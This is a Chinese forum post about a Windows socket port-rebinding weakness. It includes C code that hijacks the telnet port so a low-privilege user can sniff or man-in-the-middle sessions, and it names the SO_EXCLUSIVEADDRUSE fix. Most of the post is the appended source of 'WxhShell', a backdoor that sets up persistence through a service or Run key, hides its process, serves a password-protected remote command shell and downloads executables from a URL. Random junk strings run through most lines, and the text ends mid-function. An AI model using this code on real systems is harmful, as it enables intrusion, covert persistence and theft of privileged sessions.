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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *;A ;)'  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !5*VBE\  
kt yplo#F  
  saddr.sin_family = AF_INET; j<^!"_G]*?  
^Om}9rXw1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); v-8>@s jy8  
!f~a3 {;j  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R~g|w4a@sC  
!gX xM,R  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \+o\wTW  
'?rR>$s  
  这意味着什么?意味着可以进行如下的攻击: tc~gn!"  
t&U9Z$LS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 d.&_j`\F  
T<]{:\*n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) lNe4e6  
wv\X  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E1QJ^]MG.  
4=,J@N-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "VaWZ*  
//@6w;P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0+\725DJ  
gPMR,TU  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 88?bUA3]  
#0AyC.\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )\+Imn  
T}Tv}~!f  
  #include ucl001EK  
  #include :w8{BIUN)  
  #include w{tA{{  
  #include    A{_CU-,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k0Vri$x  
  int main() J jAxNviG  
  { WuK<?1meN  
  WORD wVersionRequested; C%4ed#  
  DWORD ret; 8\{!*?9!  
  WSADATA wsaData; 1H-Wk  
  BOOL val; hDXTC_^s  
  SOCKADDR_IN saddr;  2s}S9  
  SOCKADDR_IN scaddr; bm#5bhX\|  
  int err; 8^_:9&)i  
  SOCKET s; 7C|AiSH  
  SOCKET sc; l!p`g>$&f  
  int caddsize; S*l/ Sa@  
  HANDLE mt; \Z5Wp5az},  
  DWORD tid;   wUvE  
  wVersionRequested = MAKEWORD( 2, 2 ); . X!!dx1<  
  err = WSAStartup( wVersionRequested, &wsaData ); S_7]_GQ9  
  if ( err != 0 ) { 75\ZD-{T:  
  printf("error!WSAStartup failed!\n");  +P(*S  
  return -1; Gamn,c9  
  } <EC"E #p  
  saddr.sin_family = AF_INET; 2|k$Vfz  
   t jM9EP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 rxp|[>O<  
YdD; Qx#O  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $:u*)&"t|  
  saddr.sin_port = htons(23); YKe&Ph.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KR.;X3S}  
  { a 4?A 5  
  printf("error!socket failed!\n"); kF1$  
  return -1; x}2nn)fdZ  
  } SkDr4kds  
  val = TRUE; |lhnCShw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (MXy\b<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Oti;wf G7o  
  { 89 d%P J0  
  printf("error!setsockopt failed!\n"); xh;gAh5n  
  return -1; W'6DwV|  
  } jI,[(Z>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %; &lVIU0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -'c qepC{T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 HQ+{9Z8 ?5  
L;:|bVH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T#*,ME7|m  
  { fTEZ@#p  
  ret=GetLastError(); yl$Ko  
  printf("error!bind failed!\n"); 1ZF KLI`V  
  return -1; 1(;{w +nM  
  }  r(^00hvH  
  listen(s,2); Q7x[08TI  
  while(1) {/noYB<;  
  { fDr$Wcd~  
  caddsize = sizeof(scaddr); '6zZ`Ll9  
  //接受连接请求 hT^&*}G  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @>2]zMFf  
  if(sc!=INVALID_SOCKET) :s_o'8z7L  
  { "e-z 2G@z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); knO X5UnS  
  if(mt==NULL) co,0@.i  
  {  ];5J  
  printf("Thread Creat Failed!\n"); 3?E7\\/R  
  break; B2r[oT R  
  } jNxTy UU  
  } =*fq5v  
  CloseHandle(mt); KaEaJ  
  } kO)Y|zQ  
  closesocket(s); 0=,Nz  
  WSACleanup(); ,OlS>>,  
  return 0; |2'WSAWG  
  }   ">T\]V$R  
  DWORD WINAPI ClientThread(LPVOID lpParam) -+F,L8  
  { )i /w:g>  
  SOCKET ss = (SOCKET)lpParam; ]D nAW'm  
  SOCKET sc; ^m7y=CJM  
  unsigned char buf[4096]; 0$Tb5+H5  
  SOCKADDR_IN saddr; QP~["%}T  
  long num; :G6CWE  
  DWORD val; Fepsa;\sU  
  DWORD ret; W9l ](Ow  
  //如果是隐藏端口应用的话,可以在此处加一些判断 n\;;T1rM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   pYcs4f!?p  
  saddr.sin_family = AF_INET; #j7&2L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q>L(=j2t  
  saddr.sin_port = htons(23); [%^0L~:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hV $Zr4'  
  { ";dS~(~  
  printf("error!socket failed!\n"); IS" [<  
  return -1; XR]bd  
  } $mK;{9Z  
  val = 100; z1b@JCWE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~g{1lcqQP  
  { << =cZ.HP  
  ret = GetLastError(); hXFT(J=  
  return -1; xjBY6Ylz  
  } KsGW@Ho:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9'(^ Coq  
  { In4VS:dD  
  ret = GetLastError(); 7zzFM  
  return -1; %KF I~Qk  
  } 'g <"@SS+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <IIz-6*V  
  { }bi hlyB&Q  
  printf("error!socket connect failed!\n"); %V;* E]  
  closesocket(sc); 'WHI.*=  
  closesocket(ss); P7>\j*U91{  
  return -1; O!>#q4&]  
  } xVsI#`<a  
  while(1) h% >ZN-K)  
  { # Ey_.4S  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,fiV xnQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qJ5b;=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?o)?N8U  
  num = recv(ss,buf,4096,0); uj)vh  
  if(num>0) Iep_,o.Sk  
  send(sc,buf,num,0); DN%JT[7  
  else if(num==0) aAqM)T83  
  break; }#tbK 2[  
  num = recv(sc,buf,4096,0); gs+n J+b  
  if(num>0) H|e7IsY%  
  send(ss,buf,num,0); {|$kI`h,3-  
  else if(num==0) cRs\()W  
  break; $$Tf1hIg  
  } DI(XB6  
  closesocket(ss); .|CoueH  
  closesocket(sc); f#Ud=& >j  
  return 0 ; VN09g&  
  } Qn$YI9t  
W $mw9  
d l Ab`ne  
========================================================== l ?b*T#uIk  
'_Q';T_n99  
下边附上一个代码,,WXhSHELL )Ko~6.:5H  
z(,j)".  
========================================================== +P+h$gQ  
Lo}T%0"G  
#include "stdafx.h" rR ^o  
G/~b(V;>  
#include <stdio.h> ;Tk/}Od!VN  
#include <string.h> 6i+AJCkC  
#include <windows.h> Vxo?%Dj  
#include <winsock2.h> daCkjDGl\  
#include <winsvc.h> [T9]q8"  
#include <urlmon.h> 3-AOB3](  
H6 ,bpjY  
#pragma comment (lib, "Ws2_32.lib") ) iV^rLwL  
#pragma comment (lib, "urlmon.lib") KXz7l\1Gb  
7Ou]!AOhG  
#define MAX_USER   100 // 最大客户端连接数 [OPF3W3z  
#define BUF_SOCK   200 // sock buffer -1hCi !  
#define KEY_BUFF   255 // 输入 buffer _J2?B?S/j  
Jj0:p"  
#define REBOOT     0   // 重启 \d.\M  
#define SHUTDOWN   1   // 关机 'ahz@+l O  
vz3olHX  
#define DEF_PORT   5000 // 监听端口 jZ"j_ =o@  
?ecR9X k  
#define REG_LEN     16   // 注册表键长度 ~("bpS#ZgD  
#define SVC_LEN     80   // NT服务名长度 -ert42fN  
,+Ocb-*  
// 从dll定义API %S`Wu|y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6*EIhIQ(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w`< {   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @+ T33X)h%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O9<oq  
sSk qU  
// wxhshell配置信息 k|RY; 8_  
struct WSCFG { "Q\b6 7Ch  
  int ws_port;         // 监听端口 wmX(%5vY^  
  char ws_passstr[REG_LEN]; // 口令 ,jW a&7  
  int ws_autoins;       // 安装标记, 1=yes 0=no }4piZ ch  
  char ws_regname[REG_LEN]; // 注册表键名 DTsD<o  
  char ws_svcname[REG_LEN]; // 服务名 ?b}e0C-a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z6-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 YIIc@ )  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v=dK2FaY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gw">xt5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M17+F?27M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /V2yLHm  
s^.tj41Gx}  
}; o*E32#l  
> Xij+tt{  
// default Wxhshell configuration Xwu&K8q21  
struct WSCFG wscfg={DEF_PORT, j%ZBAk)}  
    "xuhuanlingzhe", eNH9`Aa  
    1, S|KUh|=Q  
    "Wxhshell", SY:ISzB}  
    "Wxhshell", }Q\+w,pJgN  
            "WxhShell Service", YUTh*`1k<  
    "Wrsky Windows CmdShell Service", pVzr]WFx  
    "Please Input Your Password: ", BW3Q03SW6  
  1, b&Laxki  
  "http://www.wrsky.com/wxhshell.exe", 2dB]Lw@s  
  "Wxhshell.exe" K:VZ#U(_  
    }; B>S>t5$  
zmu+un"\j  
// 消息定义模块 y,OG9iD:h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VMo:pV  
char *msg_ws_prompt="\n\r? for help\n\r#>";  > T:0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *)?'!  
char *msg_ws_ext="\n\rExit."; "~zLG"  
char *msg_ws_end="\n\rQuit."; UxF9Ko( ]d  
char *msg_ws_boot="\n\rReboot..."; sV0NDM0  
char *msg_ws_poff="\n\rShutdown..."; GJU9[  
char *msg_ws_down="\n\rSave to "; e_l|32#/  
(!efaj  
char *msg_ws_err="\n\rErr!"; TI2K_'  
char *msg_ws_ok="\n\rOK!"; 2qVoe}F  
0DnOO0Nc  
char ExeFile[MAX_PATH]; f<oU" WM  
int nUser = 0; zN)).a  
HANDLE handles[MAX_USER]; Ek_<2!%X  
int OsIsNt; '-XO;{,-R  
C CLc,r>)  
SERVICE_STATUS       serviceStatus; UUvCi+W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bVa?yWb.  
%2B1E( r%M  
// 函数声明 /2*Bd E[yG  
int Install(void); |TQ4:P1T  
int Uninstall(void); =\MAz[IDj  
int DownloadFile(char *sURL, SOCKET wsh); U 9Ea }aN  
int Boot(int flag); M ' %zA;Wl  
void HideProc(void); $Xu/P5  
int GetOsVer(void); J,=ZUh@M  
int Wxhshell(SOCKET wsl); 1U^KN~!  
void TalkWithClient(void *cs); Wi,)a{  
int CmdShell(SOCKET sock); G^.tAO5:f  
int StartFromService(void); >lyE@S sA  
int StartWxhshell(LPSTR lpCmdLine); -eD]gm  
}J-e:FUF#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1_;{1O+B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *(5T?p[7  
~4twI*f  
// 数据结构和表定义 C9""sVs  
SERVICE_TABLE_ENTRY DispatchTable[] = v046  
{ -0]%#(E%`h  
{wscfg.ws_svcname, NTServiceMain}, ?1O` Rd{tn  
{NULL, NULL} BG.sHI{  
}; Z.x]6  
f<|*^+  
// 自我安装 3zc;_U2  
int Install(void) Jt<J#M<}7  
{ 5')]Y1J  
  char svExeFile[MAX_PATH]; xsy45az<ip  
  HKEY key; IDpx_  
  strcpy(svExeFile,ExeFile); Bga4kjfmk  
.wlKl[lE2  
// 如果是win9x系统,修改注册表设为自启动 \D]9:BNJ  
if(!OsIsNt) { vSv1FZu*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bR:hu}YS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O 9M?Wk :  
  RegCloseKey(key); DWCf+4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >M##q?.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B[#n,ay  
  RegCloseKey(key); W:9l"'  
  return 0; AGO"),  
    } 7[K3kUm[  
  } BJ'pe[Xa5  
} Y%|dM/a`  
else { [7LdTY"Tl  
D,lY_6=  
// 如果是NT以上系统,安装为系统服务 5Fj9.K~k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Dbq/t^  
if (schSCManager!=0) F0r2=f(?  
{ X8R:9q_  
  SC_HANDLE schService = CreateService 59"tHb6E  
  ( 6R$Yh0%  
  schSCManager, f|F=)tJO  
  wscfg.ws_svcname, JY;u<xl  
  wscfg.ws_svcdisp, I36%oA  
  SERVICE_ALL_ACCESS, 5v`lCu]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p&)d]oV>  
  SERVICE_AUTO_START, WB<MU:.Vc  
  SERVICE_ERROR_NORMAL, UlNV%34"  
  svExeFile, TiG?r$6v%  
  NULL, o61rTj  
  NULL, &N+`O)$  
  NULL, QP%Hwt]+  
  NULL, 0*oavY*  
  NULL pjoyMHWK  
  ); Q"c/]Sk)  
  if (schService!=0) D@ !r?E`  
  { f4F%\ "  
  CloseServiceHandle(schService); #T{)y  
  CloseServiceHandle(schSCManager); P|p X F~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X=lsuKREZ  
  strcat(svExeFile,wscfg.ws_svcname); v"mZy,u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~Cg7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D&G?Klq  
  RegCloseKey(key); >ke.ZZV?  
  return 0; -Lb7=98  
    } FU J<gqL  
  } ~3Zz.!F  
  CloseServiceHandle(schSCManager); EA9.?F  
} E`hR(UL ?  
} d<HO~+9  
K=}Eupn=  
return 1; ~{-Ka>A  
} 3hje  
mO(Y>|mm  
// 自我卸载 v,z~#$T&  
int Uninstall(void) #n15_cd  
{ Dv` "3  
  HKEY key; k'PvQl"I  
UIg?3J}R  
if(!OsIsNt) { kzNRRs\e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S#HeOPRL  
  RegDeleteValue(key,wscfg.ws_regname); ) j&khHD  
  RegCloseKey(key); 9ZatlI,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b!Nr  
  RegDeleteValue(key,wscfg.ws_regname); E?bv<L,"  
  RegCloseKey(key); e>.^RtDF  
  return 0; 1[#sHj$Na`  
  } $ <C",&  
} [Ob'E!;<  
} \/gf_R_GN  
else { 55UPd#E'  
}$qrNbLJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T<b* =i  
if (schSCManager!=0) [e@m -/B  
{ >,'guaa  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?EPHq, E  
  if (schService!=0) |`Yn'Mj8rm  
  { {<gX~./]c  
  if(DeleteService(schService)!=0) { VAUd^6Xdwx  
  CloseServiceHandle(schService); W&D{0i`y  
  CloseServiceHandle(schSCManager); h&v].l  
  return 0; ,aBy1K  
  } Q=vo5)t   
  CloseServiceHandle(schService); O;McPw<&\:  
  } a}|<*!4zUQ  
  CloseServiceHandle(schSCManager); /-m)  
} * a1q M?  
} ;mz#$"(  
j)@{_tv6;  
return 1; ~)>.%`v&  
} v*.iNA;&i  
llh +r?  
// 从指定url下载文件 .f;@O qU  
int DownloadFile(char *sURL, SOCKET wsh) =3SJl1w1  
{ `,/5skeJ  
  HRESULT hr; [q_62[-X  
char seps[]= "/"; 9%3+\[s1  
char *token; 4b`Fi@J\  
char *file; k$8Zg*)  
char myURL[MAX_PATH]; vdB2T2F  
char myFILE[MAX_PATH]; m-;8O /  
K7(k_4  
strcpy(myURL,sURL); F1B/cd  
  token=strtok(myURL,seps); j%Z5[{!/,X  
  while(token!=NULL) n+Conp/  
  { h"Wpb}FT  
    file=token; #Z `Tk)u/  
  token=strtok(NULL,seps); aK|  
  } z j#<X  
@|">j#0  
GetCurrentDirectory(MAX_PATH,myFILE); ot! m=s  
strcat(myFILE, "\\"); z[R dM#L  
strcat(myFILE, file); @(E6P;+{  
  send(wsh,myFILE,strlen(myFILE),0); ,3MHZPJ?k]  
send(wsh,"...",3,0);  AW|SD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !Icznou\  
  if(hr==S_OK) m?Cb^WgcF  
return 0; J&JZYuuf  
else 5=p<"*zJ  
return 1; 4oryTckS  
DcM/p8da  
} fZsw+PSy  
(f_J @n  
// 系统电源模块 T3"'`Sd9;  
int Boot(int flag) _Ye.29  
{ $dK430_B  
  HANDLE hToken; )t7MD(  
  TOKEN_PRIVILEGES tkp; ./0wt+  
52Dgul  
  if(OsIsNt) { Ars*H,9>e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QkHG`yW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -JPkC(V7]  
    tkp.PrivilegeCount = 1; P0hr=/h4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~!7x45( 1#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l7VTuVGUJ  
if(flag==REBOOT) { F|.tn`j]U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M}CxCEdDB]  
  return 0; $9X?LGUz  
} l. l)w  
else { iT O Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~Jw84U{$  
  return 0; gYk5}E-  
} <}8G1<QZ'.  
  } KECW~e`  
  else { [cznhIvyO  
if(flag==REBOOT) { Y= =5\;-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >m <T+{`  
  return 0; .Z"`:4O   
} ~@X3qja  
else { DS7L}]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L,nb<  
  return 0; d&Nji%Ej  
} OU#p^ 5K  
} a'Zw^g  
r#& JfAo  
return 1; ^>Z7."uGY  
} T:2f*!r  
+( afO ~9  
// win9x进程隐藏模块 I\c7V~^hnG  
void HideProc(void) "zQ<)Q]U  
{ W ;+()vC  
Pi9?l>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Jmg9|g!f  
  if ( hKernel != NULL ) +Ig%h[1a  
  { R2C~.d_TDu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @H~oOf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _~C1M&b(X3  
    FreeLibrary(hKernel); 5/h-H r  
  } zks7wt]A  
d8+@K&z|  
return; 7l =Tl[n  
} |s(Ih_Zn  
mEi(DW)(  
// 获取操作系统版本 ScD E)r  
int GetOsVer(void) BOcD?rrZ0  
{ YX)Rs Vf  
  OSVERSIONINFO winfo; +TaxH;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '@M"#`#0  
  GetVersionEx(&winfo); Q 3^h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 74:~F)BP  
  return 1; p8@&(+z  
  else ']I!1>v$[  
  return 0; o,c}L9nvt  
} pnz:<V"Y(  
/BQqg0 8@L  
// 客户端句柄模块 "p|.[d  
int Wxhshell(SOCKET wsl) ^E8qI8s  
{ GbZ~e I`,2  
  SOCKET wsh; (S+/e5c)  
  struct sockaddr_in client; IpSWg  
  DWORD myID; HQ7g0:-^a>  
A?}[rM Z  
  while(nUser<MAX_USER) k0ai#3iJ  
{ yFb"2  
  int nSize=sizeof(client); .|hsn6i/-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u7RlxA:  
  if(wsh==INVALID_SOCKET) return 1; qhcx\eD:?  
G7v<Q,s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S$$SLy:P  
if(handles[nUser]==0) zp}pS2DU  
  closesocket(wsh); gt(p%~  
else MMpId Uhr  
  nUser++; 6_u!{  
  } Y~{<Hs  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ISFNP&& K  
|?Edk7`  
  return 0; _,aFQ^]'9  
} K\fD';  
JA9NTu(  
// 关闭 socket /!?Tv8TPp  
void CloseIt(SOCKET wsh) [M%? [E}>  
{ a)=|{QR>W  
closesocket(wsh); oQm XKV+[v  
nUser--; Tsb}\  
ExitThread(0); )8#-IXxp  
} UF-'(  
#V]8FW  
// 客户端请求句柄 pL;e(lM  
void TalkWithClient(void *cs) Qb>("j~Z  
{ nw`rH*  
l1]{r2g  
  SOCKET wsh=(SOCKET)cs; HK<S|6B7V  
  char pwd[SVC_LEN]; %k['<BYG<  
  char cmd[KEY_BUFF]; DeNWh2  
char chr[1]; @sZ7Ka  
int i,j; U>.5vK.+  
hFr+K1  
  while (nUser < MAX_USER) { <X4f2z{T{@  
$!9/s S?  
if(wscfg.ws_passstr) { HpIi-Es7C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^w``(-[*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); id : ^|  
  //ZeroMemory(pwd,KEY_BUFF); O{\<Izm`D  
      i=0; CALD7qMK  
  while(i<SVC_LEN) { W% Lrp{  
CL7 /J[TS  
  // 设置超时 u1u;aG  
  fd_set FdRead; !]A/ID0K  
  struct timeval TimeOut; >.od(Fh{l|  
  FD_ZERO(&FdRead); +MaEet  
  FD_SET(wsh,&FdRead); ONcLhwH  
  TimeOut.tv_sec=8; M.MQ?`_"b  
  TimeOut.tv_usec=0; R[v<mo[s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o~9*J)X5i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Je9Z:s[  
Q{uO/6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4f8XO"k7t=  
  pwd=chr[0]; K3tW Y 4-  
  if(chr[0]==0xd || chr[0]==0xa) { }93FWo.  
  pwd=0; 1(# H%  
  break; 2h*aWBLk  
  } A=|a!N/  
  i++; . a @7  
    } &Fuk+Cu{  
Sw-2vnSdM  
  // 如果是非法用户,关闭 socket xele;)Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S\t!7Xs%*U  
} ZTfW_0   
s!D2s2b9e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tCR~z1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xg_l4!T_l  
fiSX( 9  
while(1) { tlvZy+Blv  
=+DhLH}8  
  ZeroMemory(cmd,KEY_BUFF); _<c}iZv@  
 Q$`uZ  
      // 自动支持客户端 telnet标准   >>C S8  
  j=0; G}NqVbZ9]  
  while(j<KEY_BUFF) { z+wegF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  DQV9=  
  cmd[j]=chr[0]; N:+EGmp  
  if(chr[0]==0xa || chr[0]==0xd) { p^ROt'eQ<  
  cmd[j]=0; T<Zi67QC@  
  break; Zn)o@'{}{  
  } 9X33{  
  j++; f61vE  
    } ".#h$  
' \>k7?@  
  // 下载文件 ;Q/1l=Bn  
  if(strstr(cmd,"http://")) { UEYJd&n0CB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ""N~##)8  
  if(DownloadFile(cmd,wsh)) 7) RvBcM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $*_79F2zN  
  else |lzcyz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s)-bOZi  
  } !a!4^zqp  
  else { upeioC q  
+tg${3ti_  
    switch(cmd[0]) { Rd]<591  
  JHZjf7g$k  
  // 帮助 3X',L*f  
  case '?': { aAn p7\7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b~YIaD[Z  
    break; `0q=Z],  
  } #NL'r99D/o  
  // 安装 /f+BeQ3#/  
  case 'i': { KV6D0~  
    if(Install()) #RSUChe7w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?`kZ6$  
    else P39oHW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ]EQ*!  
    break; m&(qr5>b  
    } dShGIH?  
  // 卸载 Q6 m.yds  
  case 'r': { D eT$4c*:[  
    if(Uninstall()) TpYh)=;k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Au(oKs<  
    else {9XNh[NbP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;7H^;+P  
    break; #@1(  
    } {L.uLr_?e  
  // 显示 wxhshell 所在路径 H5UF r,t  
  case 'p': { 37jrWe6xwp  
    char svExeFile[MAX_PATH]; ]P>XXE;[  
    strcpy(svExeFile,"\n\r"); !3DY#  
      strcat(svExeFile,ExeFile); 0O]v|  
        send(wsh,svExeFile,strlen(svExeFile),0); IAe/)  
    break; d 792#Dc  
    } 6mIK[Qnp  
  // 重启 WNKP';(a@G  
  case 'b': { dq'f >S z}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F=#V/ #ia  
    if(Boot(REBOOT)) N qz6_!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "{t]~urLd  
    else { )t\aB_ =  
    closesocket(wsh); @A*>lUo  
    ExitThread(0); 2\T\p<_20  
    } E'SDT*EI  
    break; 'lu3BQvfh  
    } ?0+g.,9  
  // 关机 L<Z,@q `  
  case 'd': { \[*q~95$v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yq^Ma  
